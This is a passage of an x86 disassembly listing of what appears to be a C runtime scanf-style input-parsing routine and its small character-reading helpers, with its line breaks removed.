sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call 